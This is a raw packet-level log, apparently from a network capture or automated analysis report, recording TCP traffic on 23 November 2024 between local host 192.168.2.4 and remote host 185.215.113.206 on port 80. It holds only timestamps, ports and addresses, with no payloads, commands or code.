Nov 23, 2024 17:44:34.699732065 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.700519085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.700531006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.700542927 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.700556040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.700598955 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.700634003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.701394081 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.701503038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.701515913 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.701575994 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.701611042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.702358007 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.702377081 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.702389002 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.702426910 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.702457905 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.702462912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.702528000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.703263998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.703316927 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.703334093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.703376055 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.703411102 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.703427076 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.704096079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.704144955 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.704157114 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.704157114 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.704190016 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.704224110 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.704242945 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.705049038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.705101967 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.705113888 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.705117941 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.705147982 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.705183029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.705272913 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.705878973 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.705998898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.706032991 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.706044912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.706058979 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.706106901 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.706108093 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.832782030 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.832851887 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.832865000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.832905054 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.832932949 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.832940102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.832990885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.833576918 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.833627939 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.833646059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.833657026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.833688974 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.833688974 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.834352970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.834408045 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.834417105 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.834429026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.834462881 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.834496021 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.834501982 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.834553003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.835052967 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.835099936 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.835109949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.835118055 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.835146904 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.835156918 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.835156918 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.835189104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.836301088 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.836364031 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.836369991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.836376905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.836409092 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.836441040 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.836472034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.836524010 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.837074041 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.837129116 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.837133884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.837147951 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.837182999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.837215900 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.837224960 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.837274075 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.838061094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.838102102 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.838113070 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.838119030 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.838125944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.838144064 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.838175058 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.838881016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.838923931 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.838936090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.838936090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.838969946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.838975906 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.838989973 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.839016914 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.839689970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.839720011 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.839745998 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.839778900 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.839791059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.839802980 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.839848995 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.840451956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.840466976 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.840477943 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.840507984 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.840539932 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.840548038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.840595007 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.841185093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.841238022 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.841305017 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.841357946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.895267010 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.895337105 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.895349979 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.895354033 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.895395041 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.895397902 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.895397902 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.895450115 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.895729065 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.895786047 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.895860910 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.895883083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.895914078 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.895944118 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.896100044 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.896155119 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.896193027 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.896244049 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.896282911 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.896295071 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.896343946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.896940947 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.896990061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.896997929 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.897002935 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.897037029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.897068977 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.897074938 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.897121906 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.897746086 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.897795916 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.897806883 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.897808075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.897857904 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.897871017 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.897922039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.898466110 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.898510933 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.898521900 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.898525000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.898554087 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.898605108 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.898648977 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.898705006 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.899178028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.899190903 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.899203062 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.899214983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.899238110 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.899269104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.899856091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.899909973 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.899923086 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.899936914 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.899975061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.899976969 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.899976969 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.900032043 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.900779009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.900836945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.900870085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.900907993 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.900927067 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.900960922 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.900994062 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.901048899 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.901683092 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.901740074 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.901751995 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.901766062 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.901801109 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.901832104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.901838064 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.901889086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.902616978 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.902687073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.902719975 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.902731895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.902764082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.902774096 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.902803898 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.903523922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.903583050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.903598070 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.903645039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.944803953 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.064656019 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.397437096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.397485971 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.397499084 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.397511005 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.397563934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.397563934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.397589922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.397639990 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.397778988 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.397912979 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.397938967 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.397953987 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.397968054 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.397983074 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.398016930 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.398016930 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.398031950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.398081064 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.398816109 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.398860931 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.398873091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.398889065 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.398901939 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.398938894 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.398940086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.398978949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.399662971 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.399717093 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.399719954 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.399734020 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.399787903 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.399811983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.399857998 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.400680065 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.400700092 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.400722027 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.400744915 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.400746107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.400779009 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.400784016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.400846958 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.401526928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.401570082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.401590109 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.401621103 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.401629925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.401648045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.401701927 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.402425051 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.402466059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.402478933 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.402493954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.402530909 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.402530909 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.522212029 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.522239923 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.522252083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.522316933 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.522341967 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.522352934 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.522398949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.522695065 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.522747993 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.522788048 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.522833109 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.522933960 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.522993088 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.523005009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.523015976 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.523053885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.523053885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.523144960 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.523192883 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.523907900 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.523962021 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.524018049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.524030924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.524043083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.524069071 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.524097919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.524833918 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.524876118 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.524883032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.524888039 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.524914026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.524914026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.524950027 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.524950027 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.525707006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.525762081 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.525763988 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.525774956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.525810957 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.525810957 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.525846958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.525888920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.526658058 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.526705980 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.526722908 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.526735067 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.526771069 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.526771069 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.526865005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.526913881 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.527555943 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.527575970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.527586937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.527622938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.527622938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.527705908 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.527745962 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.527745962 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.528495073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.528548002 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.528554916 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.528568029 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.528600931 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.528601885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.528601885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.528635025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.529413939 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.529464006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.529464960 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.529478073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.529490948 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.529506922 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.529539108 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.529539108 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.530319929 CET	80	49745	185.215.113.206	192.168.2.4
